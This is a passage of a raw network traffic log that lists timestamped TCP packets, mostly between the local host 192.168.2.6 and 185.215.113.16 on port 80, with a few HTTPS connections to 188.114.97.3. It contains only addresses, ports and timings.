Nov 1, 2024 03:46:22.232796907 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.232809067 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.232820988 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.232911110 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.233093023 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.233139038 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.233287096 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.233335018 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.233441114 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.233453035 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.233479023 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.233500957 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.233506918 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.233525038 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.233536959 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.233556986 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.233571053 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.233994007 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.234038115 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.234169006 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.234179974 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.234216928 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.234311104 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.234354973 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.273658991 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.273670912 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.273792982 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.273809910 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.273822069 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.273833036 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.273894072 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.274123907 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.274187088 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.313333035 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.313407898 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.313419104 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.313433886 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.313465118 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.313610077 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.313621998 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.313658953 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.315115929 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.315154076 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.315171003 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.315195084 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.315193892 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.315237045 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.315336943 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.315349102 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.315380096 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.315401077 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.315521002 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.315570116 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.315598965 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.315610886 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.315643072 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.315665960 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.315824032 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.315834999 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.315871000 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.316214085 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.316274881 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.316297054 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.316309929 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.316346884 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.316509008 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.316555977 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.316586018 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.316629887 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.349960089 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.349986076 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.349997997 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.350130081 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.350130081 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.350176096 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.350187063 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.350339890 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.350363970 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.350398064 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.350548029 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.350588083 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.350609064 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.350630999 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.350632906 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.350672007 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.350770950 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.350783110 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.350814104 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.350832939 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.350934982 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.350974083 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.351146936 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.351191998 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.351197004 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.351238966 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.351324081 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.351372004 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.351406097 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.351418018 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.351449966 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.351464033 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.351577044 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.351624012 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.391406059 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.391431093 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.391443968 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.391552925 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.391560078 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.391578913 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.391607046 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.391681910 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.391694069 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.391715050 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.391731977 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.403496027 CET	443	58529	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:22.403608084 CET	443	58529	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:22.403670073 CET	58529	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:22.403800011 CET	58529	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:22.403820038 CET	443	58529	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:22.432184935 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.432240009 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.432245016 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.432251930 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.432284117 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.432300091 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.432411909 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.432424068 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.432471991 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.433909893 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.433974981 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.433989048 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.434004068 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.434026003 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.434046984 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.434077024 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.434118032 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.434154987 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.434166908 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.434201002 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.434340954 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.434353113 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.434386969 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.434645891 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.434659004 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.434689045 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.434740067 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.434771061 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.434814930 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.434847116 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.434859037 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.434883118 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.434902906 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.468801975 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.468856096 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.468883991 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.468894958 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.468921900 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.468935013 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.469110012 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.469121933 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.469132900 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.469153881 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.469172001 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.469378948 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.469425917 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.469492912 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.469502926 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.469535112 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.469547987 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.469621897 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.469633102 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.469666004 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.469676971 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.469762087 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.469773054 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.469784021 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.469804049 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.469819069 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.470000029 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.470046997 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.470130920 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.470141888 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.470175982 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.470189095 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.470268011 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.470278978 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.470313072 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.470324993 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.470467091 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.470511913 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.510241032 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.510251045 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.510266066 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.510287046 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.510313988 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.510400057 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.510411024 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.510452032 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.510512114 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.510557890 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.510612965 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.510664940 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.550954103 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.551007032 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.551023006 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.551037073 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.551076889 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.551229000 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.551268101 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.551307917 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.551337004 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.552615881 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.552664995 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.552669048 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.552680969 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.552714109 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.552722931 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.552748919 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.552797079 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.552805901 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.552850962 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.552956104 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.552968025 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.552997112 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.553011894 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.553119898 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.553133011 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.553164959 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.553178072 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.553390026 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.553427935 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.553479910 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.553492069 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.553508997 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.553525925 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.553565979 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.553605080 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.578250885 CET	58530	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:22.578284025 CET	443	58530	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:22.578358889 CET	58530	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:22.578735113 CET	58530	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:22.578751087 CET	443	58530	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:22.588047981 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.588066101 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.588077068 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.588155031 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.588186979 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.588238001 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.588372946 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.588387012 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.588419914 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.588447094 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.588547945 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.588558912 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.588603973 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.588745117 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.588757038 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.588787079 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.588810921 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.588932037 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.588943005 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.588954926 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.588965893 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.588973999 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.588998079 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.589255095 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.589267015 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.589302063 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.589432955 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.589474916 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.589828968 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.589840889 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.589852095 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.589862108 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.589871883 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.589909077 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.589982033 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.589994907 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.590024948 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.590050936 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.590123892 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.590167999 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.629106998 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.629120111 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.629134893 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.629182100 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.629221916 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.669687033 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.669703007 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.669713974 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.669814110 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.669832945 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.669883966 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.669902086 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.669941902 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.669956923 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.669991970 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.670027971 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.670059919 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.670084000 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.670120001 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.670214891 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.670226097 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.670257092 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.671624899 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.671675920 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.671698093 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.671710968 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.671740055 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.671752930 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.671971083 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.671982050 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.671993971 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.672013998 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.672014952 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.672041893 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.672065973 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.672286034 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.672327042 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.672418118 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.672432899 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.672442913 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.672449112 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.672466993 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.672482967 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.706372023 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.706433058 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.706433058 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.706444979 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.706470013 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.706485033 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.706619978 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.706631899 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.706655025 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.706680059 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.706775904 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.706795931 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.706815004 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.706830025 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.706933975 CET	80	58527	185.215.113.16	192.168.2.6
